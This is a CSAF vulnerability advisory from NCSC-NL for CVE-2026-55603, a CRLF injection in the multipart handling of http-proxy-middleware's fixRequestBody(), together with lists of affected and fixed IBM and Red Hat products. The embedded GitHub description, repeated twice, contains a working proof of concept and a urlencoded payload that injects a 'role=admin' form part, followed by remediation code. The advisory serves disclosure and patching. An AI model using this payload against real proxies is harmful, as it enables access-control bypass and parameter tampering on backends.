{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-55603", "tracking": { "current_release_date": "2026-10-16T06:20:01.172434Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-55603", "initial_release_date": "2026-06-18T13:39:30.867812Z", "revision_history": [ { "date": "2026-06-18T13:39:30.867812Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-06-18T13:39:37.709952Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-06-18T18:21:17.378781Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (2).| References created (1).| CWES updated (1)." }, { "date": "2026-06-18T18:21:19.058997Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-06-22T21:43:06.326095Z", "number": "5", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (2).| References created (1).| CWES updated (1)." }, { "date": "2026-06-22T21:43:10.823256Z", "number": "6", "summary": "NCSC Score updated." }, { "date": "2026-06-23T02:37:13.269666Z", "number": "7", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)." }, { "date": "2026-06-23T02:37:21.573752Z", "number": "8", "summary": "NCSC Score updated." }, { "date": "2026-06-23T07:35:34.816231Z", "number": "9", "summary": "NCSC Score updated." }, { "date": "2026-06-23T13:38:56.712573Z", "number": "10", "summary": "Unknown change." }, { "date": "2026-06-23T16:28:32.040611Z", "number": "11", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-06-23T16:28:36.685925Z", "number": "12", "summary": "NCSC Score updated." }, { "date": "2026-06-24T18:35:46.084599Z", "number": "13", "summary": "Products connected (2).| Product Identifiers created (2).| Exploits created (1)." }, { "date": "2026-06-24T18:35:48.359663Z", "number": "14", "summary": "NCSC Score updated." }, { "date": "2026-07-14T07:15:36.820469Z", "number": "15", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (2).| Products connected (6).| References created (3).| CWES updated (1)." }, { "date": "2026-07-14T07:15:43.087429Z", "number": "16", "summary": "NCSC Score updated." }, { "date": "2026-07-21T12:47:28.472933Z", "number": "17", "summary": "Source connected.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (3).| Product Remediations created (5).| References created (18).| CWES updated (1)." }, { "date": "2026-07-21T12:47:31.015653Z", "number": "18", "summary": "NCSC Score updated." }, { "date": "2026-08-06T00:39:33.637327Z", "number": "19", "summary": "Source connected.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (13).| Product Remediations created (15).| Product Identifiers created (22).| Product Identifiers removed (22).| References created (35).| CWES updated (1)." }, { "date": "2026-08-06T00:39:49.153533Z", "number": "20", "summary": "NCSC Score updated." }, { "date": "2026-08-12T15:15:52.487329Z", "number": "21", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-08-12T15:16:19.704047Z", "number": "22", "summary": "NCSC Score updated." }, { "date": "2026-09-02T10:27:42.691807Z", "number": "23", "summary": "EPSS updated." }, { "date": "2026-09-03T00:27:58.127876Z", "number": "24", "summary": "NCSC Score updated." }, { "date": "2026-09-03T14:17:22.177246Z", "number": "25", "summary": "EPSS updated." }, { "date": "2026-09-03T18:41:47.748661Z", "number": "26", "summary": "EPSS updated." }, { "date": "2026-09-04T15:25:58.777861Z", "number": "27", "summary": "EPSS updated." }, { "date": "2026-09-04T15:25:59.862116Z", "number": "28", "summary": "NCSC Score updated." }, { "date": "2026-09-05T15:25:22.675703Z", "number": "29", "summary": "EPSS updated." }, { "date": "2026-09-06T15:25:48.078269Z", "number": "30", "summary": "EPSS updated." }, { "date": "2026-09-07T15:26:23.508450Z", "number": "31", "summary": "EPSS updated." }, { "date": "2026-09-08T04:36:23.159952Z", "number": "32", "summary": "NCSC Score updated." }, { "date": "2026-09-09T07:19:54.799326Z", "number": "33", "summary": "EPSS updated." }, { "date": "2026-09-09T15:30:12.943975Z", "number": "34", "summary": "EPSS updated." }, { "date": "2026-09-29T12:20:32.770038Z", "number": "35", "summary": "Source connected.| CVE status created. (valid)| Products connected (3).| References created (21)." }, { "date": "2026-09-29T12:53:17.385212Z", "number": "36", "summary": "NCSC Score updated." }, { "date": "2026-09-29T15:42:45.174521Z", "number": "37", "summary": "EPSS created.| Unknown change." }, { "date": "2026-10-16T06:19:42.217825Z", "number": "38", "summary": "Source connected.| CVE status created. (valid)" }, { "date": "2026-10-16T06:19:53.837521Z", "number": "39", "summary": "NCSC Score updated." } ], "status": "interim", "version": "39" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<10.5.0.23", "product": { "name": "vers:unknown/<10.5.0.23", "product_id": "CSAFPID-9485661" } }, { "category": "product_version_range", "name": "vers:unknown/<10.6.0.11", "product": { "name": "vers:unknown/<10.6.0.11", "product_id": "CSAFPID-9485662" } }, { "category": "product_version_range", "name": "vers:unknown/<11.0.0.3", "product": { "name": "vers:unknown/<11.0.0.3", "product_id": "CSAFPID-9485663" } } ], "category": "product_name", "name": "DataPower Gateway" } ], "category": "vendor", "name": "IBM" }, { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/8.1", "product": { "name": "vers:rpm/8.1", "product_id": "CSAFPID-8939772", "product_identification_helper": { "cpe": "cpe:/a:redhat:migration_toolkit_applications:8.1::el9" } } } ], "category": "product_name", "name": "Red Hat Migration Toolkit for Applications 8.1" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1784900791", "product": { "name": "vers:oci/1784900791", "product_id": "CSAFPID-8939774", "product_identification_helper": { "purl": "pkg:oci/mta-analyzer-addon-rhel9@sha256%3Af2c008735c1fd182a1ecbf7afab32a9d1ffd40a09186c31daa41f8053bba66bd?arch=arm64&repository_url=registry.redhat.io/mta/mta-analyzer-addon-rhel9&tag=1784900791" } } } ], "category": "product_name", "name": "mta-analyzer-addon-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1785171639", "product": { "name": "vers:oci/1785171639", "product_id": "CSAFPID-8939775", "product_identification_helper": { "purl": "pkg:oci/mta-cli-rhel9@sha256%3Ad54304ee8d1e4ee8fd191a55eb585d2617fb434774ff0e4910e465addcc08e19?arch=arm64&repository_url=registry.redhat.io/mta/mta-cli-rhel9&tag=1785171639" } } } ], "category": "product_name", "name": "mta-cli-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1785168960", "product": { "name": "vers:oci/1785168960", "product_id": "CSAFPID-8939776", "product_identification_helper": { "purl": "pkg:oci/mta-discovery-addon-rhel9@sha256%3Add974ca667e38caa223f6d503e67b157f660fce5a65911b27919b24dca1b1290?arch=arm64&repository_url=registry.redhat.io/mta/mta-discovery-addon-rhel9&tag=1785168960" } } } ], "category": "product_name", "name": "mta-discovery-addon-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1784312241", "product": { "name": "vers:oci/1784312241", "product_id": "CSAFPID-8939777", "product_identification_helper": { "purl": "pkg:oci/mta-dotnet-external-provider-rhel9@sha256%3A8f37cc914c03019849362f8ac3ff201ac2e93f9b567450c4b243ed2abc4a71b1?arch=arm64&repository_url=registry.redhat.io/mta/mta-dotnet-external-provider-rhel9&tag=1784312241" } } } ], "category": "product_name", "name": "mta-dotnet-external-provider-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1784810810", "product": { "name": "vers:oci/1784810810", "product_id": "CSAFPID-8939778", "product_identification_helper": { "purl": "pkg:oci/mta-generic-external-provider-rhel9@sha256%3Af698ef08c8a61dc55a53b9c7d449b4f7862f7cacd7acb62d51d232e722d546f7?arch=amd64&repository_url=registry.redhat.io/mta/mta-generic-external-provider-rhel9&tag=1784810810" } } } ], "category": "product_name", "name": "mta-generic-external-provider-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1784313347", "product": { "name": "vers:oci/1784313347", "product_id": "CSAFPID-8939779", "product_identification_helper": { "purl": "pkg:oci/mta-hub-rhel9@sha256%3A34711e4f558a3df0f65ee127b4fa30e7573a5d306bc9e642a83112b91fea591a?arch=arm64&repository_url=registry.redhat.io/mta/mta-hub-rhel9&tag=1784313347" } } } ], "category": "product_name", "name": "mta-hub-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1785170480", "product": { "name": "vers:oci/1785170480", "product_id": "CSAFPID-8939780", "product_identification_helper": { "purl": "pkg:oci/mta-java-external-provider-rhel9@sha256%3A7c567b6de60eaa093c853e19066a80c4010dbbbf4e32af0d1fb2997f9549e3ab?arch=amd64&repository_url=registry.redhat.io/mta/mta-java-external-provider-rhel9&tag=1785170480" } } } ], "category": "product_name", "name": "mta-java-external-provider-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1785177948", "product": { "name": "vers:oci/1785177948", "product_id": "CSAFPID-8939781", "product_identification_helper": { "purl": "pkg:oci/mta-operator-bundle@sha256%3Abbd09e16e3f05d51319bc5a9ebc623aa6a9fea1e9c5843b28ff9dce2ca1c2b40?arch=amd64&repository_url=registry.redhat.io/mta/mta-operator-bundle&tag=1785177948" } } } ], "category": "product_name", "name": "mta-operator-bundle" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1784312255", "product": { "name": "vers:oci/1784312255", "product_id": "CSAFPID-8939782", "product_identification_helper": { "purl": "pkg:oci/mta-platform-addon-rhel9@sha256%3A609847164532128273809aa9292e4f64f02354d77a065a00eddb4835766748c8?arch=arm64&repository_url=registry.redhat.io/mta/mta-platform-addon-rhel9&tag=1784312255" } } } ], "category": "product_name", "name": "mta-platform-addon-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1785168960", "product": { "name": "vers:oci/1785168960", "product_id": "CSAFPID-8939783", "product_identification_helper": { "purl": "pkg:oci/mta-rhel9-operator@sha256%3Ac5997585d3fe93881d80b9b32fd343ea81ef72e68b6eab676bf1312c1a6ee1d3?arch=arm64&repository_url=registry.redhat.io/mta/mta-rhel9-operator&tag=1785168960" } } } ], "category": "product_name", "name": "mta-rhel9-operator" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1785168916", "product": { "name": "vers:oci/1785168916", "product_id": "CSAFPID-8939784", "product_identification_helper": { "purl": "pkg:oci/mta-solution-server-rhel9@sha256%3A8a3113ec966da0b942695a61f6d381987049145e3670360061dd92427d095bec?arch=arm64&repository_url=registry.redhat.io/mta/mta-solution-server-rhel9&tag=1785168916" } } } ], "category": "product_name", "name": "mta-solution-server-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1785169013", "product": { "name": "vers:oci/1785169013", "product_id": "CSAFPID-8939773", "product_identification_helper": { "purl": "pkg:oci/mta-ui-rhel9@sha256%3A8e12baafaf77888b636adf49cb1f054746e5ab0a2de9ce42229403766389f6fd?arch=arm64&repository_url=registry.redhat.io/mta/mta-ui-rhel9&tag=1785169013" } } } ], "category": "product_name", "name": "mta-ui-rhel9" } ], "category": "product_family", "name": "Red Hat Migration Toolkit for Applications" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/1.3", "product": { "name": "vers:rpm/1.3", "product_id": "CSAFPID-5205178", "product_identification_helper": { "cpe": "cpe:/a:redhat:trusted_artifact_signer:1.3::el9" } } } ], "category": "product_name", "name": "Red Hat Trusted Artifact Signer 1.3" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1784105848", "product": { "name": "vers:oci/1784105848", "product_id": "CSAFPID-8871080", "product_identification_helper": { "purl": "pkg:oci/rhtas-console-rhel9@sha256%3A7a33c13a4fe493b4638f342a14d7dab93152141895771e543f3e028773bfa10f?arch=amd64&repository_url=registry.redhat.io/rhtas/rhtas-console-rhel9&tag=1784105848" } } } ], "category": "product_name", "name": "rhtas-console-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1784105894", "product": { "name": "vers:oci/1784105894", "product_id": "CSAFPID-8871079", "product_identification_helper": { "purl": "pkg:oci/rhtas-console-ui-rhel9@sha256%3Aeea5c4b6830a8fd26acfc5e0c01c01cb7dd6519f27cef4ac4874546c1dbb03bd?arch=amd64&repository_url=registry.redhat.io/rhtas/rhtas-console-ui-rhel9&tag=1784105894" } } } ], "category": "product_name", "name": "rhtas-console-ui-rhel9" } ], "category": "product_family", "name": "Red Hat Trusted Artifact Signer" } ], "category": "vendor", "name": "Red Hat" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/>=3.0.4|<3.0.7", "product": { "name": "vers:unknown/>=3.0.4|<3.0.7", "product_id": "CSAFPID-8477988", "product_identification_helper": { "cpe": "cpe:2.3:a:chimurai:http-proxy-middleware:*:*:*:*:*:*:*:*" } } }, { "category": "product_version_range", "name": "vers:unknown/>=4.0.0|<4.1.1", "product": { "name": "vers:unknown/>=4.0.0|<4.1.1", "product_id": "CSAFPID-8477989", "product_identification_helper": { "cpe": "cpe:2.3:a:chimurai:http-proxy-middleware:*:*:*:*:*:*:*:*" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.4", "product": { "name": "vers:unknown/v3.0.4", "product_id": "CSAFPID-3777973" } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.5", "product": { "name": "vers:unknown/v3.0.5", "product_id": "CSAFPID-8785108" } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.6", "product": { "name": "vers:unknown/v3.0.6", "product_id": "CSAFPID-8785110" } }, { "category": "product_version_range", "name": "vers:unknown/v4.0.0", "product": { "name": "vers:unknown/v4.0.0", "product_id": "CSAFPID-8785107" } }, { "category": "product_version_range", "name": "vers:unknown/v4.1.0", "product": { "name": "vers:unknown/v4.1.0", "product_id": "CSAFPID-8785109" } }, { "category": "product_version_range", "name": "vers:unknown/v4.1.0-beta.0", "product": { "name": "vers:unknown/v4.1.0-beta.0", "product_id": "CSAFPID-8785106" } }, { "category": "product_version_range", "name": "vers:unknown/v4.1.0-beta.1", "product": { "name": "vers:unknown/v4.1.0-beta.1", "product_id": "CSAFPID-8785105" } }, { "category": "product_version_range", "name": "vers:unknown/v4.1.0-beta.2", "product": { "name": "vers:unknown/v4.1.0-beta.2", "product_id": "CSAFPID-8785104" } } ], "category": "product_name", "name": "http-proxy-middleware" } ], "category": "vendor", "name": "chimurai" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-55603", "cwe": { "id": "CWE-93", "name": "Improper Neutralization of CRLF Sequences ('CRLF Injection')" }, "flags": [ { "label": "vulnerable_code_not_present", "product_ids": [ "CSAFPID-8871080", "CSAFPID-8939774", "CSAFPID-8939775", "CSAFPID-8939776", "CSAFPID-8939777", "CSAFPID-8939778", "CSAFPID-8939779", "CSAFPID-8939780", "CSAFPID-8939781", "CSAFPID-8939782", "CSAFPID-8939783", "CSAFPID-8939784" ] } ], "notes": [ { "category": "description", "text": "http-proxy-middleware is node.js http-proxy middleware. From 3.0.4 until 3.0.7 and 4.1.1, fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF. A \\r\\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary. This vulnerability is fixed in 3.0.7 and 4.1.1.", "title": "osvgit - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-55603.json?alt=media" }, { "category": "description", "text": "## Summary\n`fixRequestBody()` is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the **outgoing** `Content-Type` is `multipart/form-data`, it rebuilds the body with `handlerFormDataBodyData()`, which interpolates each `req.body` key and value directly into the multipart wire format **without neutralizing CR/LF**:\n\n```js\n// dist/handlers/fix-request-body.js\nfunction handlerFormDataBodyData(contentType, data) {\n const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');\n let str = '';\n for (const [key, value] of Object.entries(data)) {\n str += `--${boundary}\\r\\nContent-Disposition: form-data; name=\"${key}\"\\r\\n\\r\\n${value}\\r\\n`;\n }\n}\n```\n\nA `\\r\\n` inside a value (or key) lets an attacker close the current part and inject an **entirely new form part**. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on `req.body` is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary.\n\nBy contrast, the sibling output branches are safe: `application/json` uses `JSON.stringify` (escapes control chars) and `application/x-www-form-urlencoded` uses `querystring.stringify` (percent-encodes). Only the multipart branch lacks escaping.\n\n## Preconditions \nAll three must hold; this narrows real-world exposure and is the basis for `AC:H`:\n1. The proxy app populates `req.body` with a **non-multipart** parser (`express.urlencoded`, `express.json`, or text) so an injected boundary in a value is **not** split on input.\n2. The proxied (outgoing) request is sent as **`multipart/form-data`** (e.g. an adaptation layer, or any flow that sets the upstream content-type to multipart), so the vulnerable branch runs.\n3. The app calls `fixRequestBody` (the documented pattern for \"I body-parsed, now re-stream\"), and an attacker controls at least one body field value or key.\n\n> Note: a pure multipart-in → multipart-out flow (e.g. `multer`) is generally **not** exploitable for a *new-field* injection, because the proxy's multipart parser already splits the injected boundary, so `req.body` and the backend agree. The desync specifically requires a non-multipart input parser.\n\n## Impact\nWhen the preconditions hold, an attacker injects/overrides multipart fields seen only by the backend:\n- **Validation / access-control bypass** bypass gateway-side field checks (demonstrated below: a gateway that forbids `role=admin` is bypassed; backend grants admin).\n- **Parameter tampering** add or overwrite fields the backend trusts (IDs, flags, prices).\n- **File-part injection** inject a `filename=\"...\"` part into the upstream multipart stream.\n\n## Proof of Concept\n\n```js\n// npm i http-proxy-middleware@4.0.0 (Node ESM: save as minimal.mjs)\nimport { fixRequestBody } from 'http-proxy-middleware';\n\n// `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it.\n// The attacker sent user=alice%0D%0A--BB%0D%0A... so this ONE field's value holds CRLF:\nconst req = { readableLength: 0, body: {\n user: 'alice\\r\\n--BB\\r\\nContent-Disposition: form-data; name=\"role\"\\r\\n\\r\\nadmin\\r\\n--BB--'\n}};\n\n// Minimal stand-in for the outgoing proxy request; capture what gets written.\nconst out = [];\nconst proxyReq = {\n h: { 'content-type': 'multipart/form-data; boundary=BB' },\n getHeader(n){ return this.h[n.toLowerCase()]; },\n setHeader(n,v){ this.h[n.toLowerCase()] = v; },\n write(d){ out.push(Buffer.from(d)); },\n};\n\nfixRequestBody(proxyReq, req); // library rebuilds the multipart body\nconsole.log(Buffer.concat(out).toString());\n```\n\nOutput: one input field becomes **two** parts; `role=admin` was injected via the unescaped CRLF:\n\n```\n--BB\nContent-Disposition: form-data; name=\"user\"\n\nalice\n--BB\nContent-Disposition: form-data; name=\"role\" <-- injected part; never present in req.body's keys\nadmin\n--BB--\n```\n\n`req.body` had a single key (`user`), so any gateway policy checking `req.body.role` passes, yet the backend's multipart parser receives `role=admin`. On the wire the attacker simply sends, as `application/x-www-form-urlencoded`: `user=alice%0D%0A--BB%0D%0AContent-Disposition:%20form-data;%20name=\"role\"%0D%0A%0D%0Aadmin%0D%0A--BB--`\n\n## Remediation\nNeutralize CR/LF (and `\"`) in keys/values before interpolation, or build the body with a real multipart encoder (e.g. `FormData` / `form-data`) instead of string concatenation. Minimal fix:\n\n```js\nfunction handlerFormDataBodyData(contentType, data) {\n const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');\n const bad = /[\\r\\n]/;\n let str = '';\n for (const [key, value] of Object.entries(data)) {\n const v = String(value);\n if (bad.test(key) || bad.test(v)) {\n throw new Error('fixRequestBody: CR/LF not allowed in multipart field name/value');\n }\n str += `--${boundary}\\r\\nContent-Disposition: form-data; name=\"${key.replace(/\"/g, '%22')}\"\\r\\n\\r\\n${v}\\r\\n`;\n }\n}\n```\n(Reject is preferable to silent stripping, to avoid masking malicious input.)", "title": "osvnpm - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/npm%2FGHSA-gcq2-9pq2-cxqm.json?alt=media" }, { "category": "description", "text": "## Summary\n`fixRequestBody()` is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the **outgoing** `Content-Type` is `multipart/form-data`, it rebuilds the body with `handlerFormDataBodyData()`, which interpolates each `req.body` key and value directly into the multipart wire format **without neutralizing CR/LF**:\n\n```js\n// dist/handlers/fix-request-body.js\nfunction handlerFormDataBodyData(contentType, data) {\n const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');\n let str = '';\n for (const [key, value] of Object.entries(data)) {\n str += `--${boundary}\\r\\nContent-Disposition: form-data; name=\"${key}\"\\r\\n\\r\\n${value}\\r\\n`;\n }\n}\n```\n\nA `\\r\\n` inside a value (or key) lets an attacker close the current part and inject an **entirely new form part**. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on `req.body` is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary.\n\nBy contrast, the sibling output branches are safe: `application/json` uses `JSON.stringify` (escapes control chars) and `application/x-www-form-urlencoded` uses `querystring.stringify` (percent-encodes). Only the multipart branch lacks escaping.\n\n## Preconditions \nAll three must hold; this narrows real-world exposure and is the basis for `AC:H`:\n1. The proxy app populates `req.body` with a **non-multipart** parser (`express.urlencoded`, `express.json`, or text) so an injected boundary in a value is **not** split on input.\n2. The proxied (outgoing) request is sent as **`multipart/form-data`** (e.g. an adaptation layer, or any flow that sets the upstream content-type to multipart), so the vulnerable branch runs.\n3. The app calls `fixRequestBody` (the documented pattern for \"I body-parsed, now re-stream\"), and an attacker controls at least one body field value or key.\n\n> Note: a pure multipart-in → multipart-out flow (e.g. `multer`) is generally **not** exploitable for a *new-field* injection, because the proxy's multipart parser already splits the injected boundary, so `req.body` and the backend agree. The desync specifically requires a non-multipart input parser.\n\n## Impact\nWhen the preconditions hold, an attacker injects/overrides multipart fields seen only by the backend:\n- **Validation / access-control bypass** bypass gateway-side field checks (demonstrated below: a gateway that forbids `role=admin` is bypassed; backend grants admin).\n- **Parameter tampering** add or overwrite fields the backend trusts (IDs, flags, prices).\n- **File-part injection** inject a `filename=\"...\"` part into the upstream multipart stream.\n\n## Proof of Concept\n\n```js\n// npm i http-proxy-middleware@4.0.0 (Node ESM: save as minimal.mjs)\nimport { fixRequestBody } from 'http-proxy-middleware';\n\n// `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it.\n// The attacker sent user=alice%0D%0A--BB%0D%0A... so this ONE field's value holds CRLF:\nconst req = { readableLength: 0, body: {\n user: 'alice\\r\\n--BB\\r\\nContent-Disposition: form-data; name=\"role\"\\r\\n\\r\\nadmin\\r\\n--BB--'\n}};\n\n// Minimal stand-in for the outgoing proxy request; capture what gets written.\nconst out = [];\nconst proxyReq = {\n h: { 'content-type': 'multipart/form-data; boundary=BB' },\n getHeader(n){ return this.h[n.toLowerCase()]; },\n setHeader(n,v){ this.h[n.toLowerCase()] = v; },\n write(d){ out.push(Buffer.from(d)); },\n};\n\nfixRequestBody(proxyReq, req); // library rebuilds the multipart body\nconsole.log(Buffer.concat(out).toString());\n```\n\nOutput: one input field becomes **two** parts; `role=admin` was injected via the unescaped CRLF:\n\n```\n--BB\nContent-Disposition: form-data; name=\"user\"\n\nalice\n--BB\nContent-Disposition: form-data; name=\"role\" <-- injected part; never present in req.body's keys\nadmin\n--BB--\n```\n\n`req.body` had a single key (`user`), so any gateway policy checking `req.body.role` passes, yet the backend's multipart parser receives `role=admin`. On the wire the attacker simply sends, as `application/x-www-form-urlencoded`: `user=alice%0D%0A--BB%0D%0AContent-Disposition:%20form-data;%20name=\"role\"%0D%0A%0D%0Aadmin%0D%0A--BB--`\n\n## Remediation\nNeutralize CR/LF (and `\"`) in keys/values before interpolation, or build the body with a real multipart encoder (e.g. `FormData` / `form-data`) instead of string concatenation. Minimal fix:\n\n```js\nfunction handlerFormDataBodyData(contentType, data) {\n const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');\n const bad = /[\\r\\n]/;\n let str = '';\n for (const [key, value] of Object.entries(data)) {\n const v = String(value);\n if (bad.test(key) || bad.test(v)) {\n throw new Error('fixRequestBody: CR/LF not allowed in multipart field name/value');\n }\n str += `--${boundary}\\r\\nContent-Disposition: form-data; name=\"${key.replace(/\"/g, '%22')}\"\\r\\n\\r\\n${v}\\r\\n`;\n }\n}\n```\n(Reject is preferable to silent stripping, to avoid masking malicious input.)", "title": "github - https://api.github.com/advisories/GHSA-gcq2-9pq2-cxqm" }, { "category": "description", "text": "http-proxy-middleware is node.js http-proxy middleware. From 3.0.4 until 3.0.7 and 4.1.1, fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF. A \\r\\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary. This vulnerability is fixed in 3.0.7 and 4.1.1.", "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-55603" }, { "category": "description", "text": "A flaw was found in http-proxy-middleware. A remote attacker could exploit a vulnerability in the fixRequestBody() function, which is used to re-emit a request body. By injecting carriage return and line feed characters (\\r\\n) into a request body key or value, an attacker can bypass security policies and validation performed by the proxy. This desynchronization between the proxy and the backend server can lead to a compromise of data integrity.", "title": "redhat - https://access.redhat.com/hydra/rest/securitydata/csaf/RHSA-2026:42085.json" }, { "category": "description", "text": "A flaw was found in http-proxy-middleware. A remote attacker could exploit a vulnerability in the fixRequestBody() function, which is used to re-emit a request body. By injecting carriage return and line feed characters (\\r\\n) into a request body key or value, an attacker can bypass security policies and validation performed by the proxy. This desynchronization between the proxy and the backend server can lead to a compromise of data integrity.", "title": "redhat - https://access.redhat.com/hydra/rest/securitydata/csaf/RHSA-2026:50300.json" }, { "category": "description", "text": "http-proxy-middleware is node.js http-proxy middleware. From 3.0.4 until 3.0.7 and 4.1.1, fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF. A \\r\\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary. This vulnerability is fixed in 3.0.7 and 4.1.1.", "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-55603" }, { "category": "other", "text": "0.00286", "title": "EPSS" }, { "category": "other", "text": "5.0", "title": "NCSC Score" }, { "category": "other", "text": "VENDOR FIX as product remediation category, There is product data available from source Certbundde", "title": "NCSC Score top increasing factors" }, { "category": "other", "text": "Is related to (a version of) an uncommon product, There is cwe data available from source Nvd, There is exploit data available from source Nvd, Is related to a product by vendor Ibm", "title": "NCSC Score top decreasing factors" } ], "product_status": { "fixed": [ "CSAFPID-8871079", "CSAFPID-8939773" ], "known_affected": [ "CSAFPID-8477988", "CSAFPID-8477989", "CSAFPID-9485661", "CSAFPID-9485662", "CSAFPID-9485663", "CSAFPID-3777973", "CSAFPID-8785108", "CSAFPID-8785110", "CSAFPID-8785107", "CSAFPID-8785109", "CSAFPID-8785106", "CSAFPID-8785105", "CSAFPID-8785104" ], "known_not_affected": [ "CSAFPID-8871080", "CSAFPID-8939774", "CSAFPID-8939775", "CSAFPID-8939776", "CSAFPID-8939777", "CSAFPID-8939778", "CSAFPID-8939779", "CSAFPID-8939780", "CSAFPID-8939781", "CSAFPID-8939782", "CSAFPID-8939783", "CSAFPID-8939784" ] }, "references": [ { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-55603.json?alt=media" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss" }, { "category": "external", "summary": "Source - github", "url": "https://api.github.com/advisories/GHSA-gcq2-9pq2-cxqm" }, { "category": "external", "summary": "Source - nvd", "url": 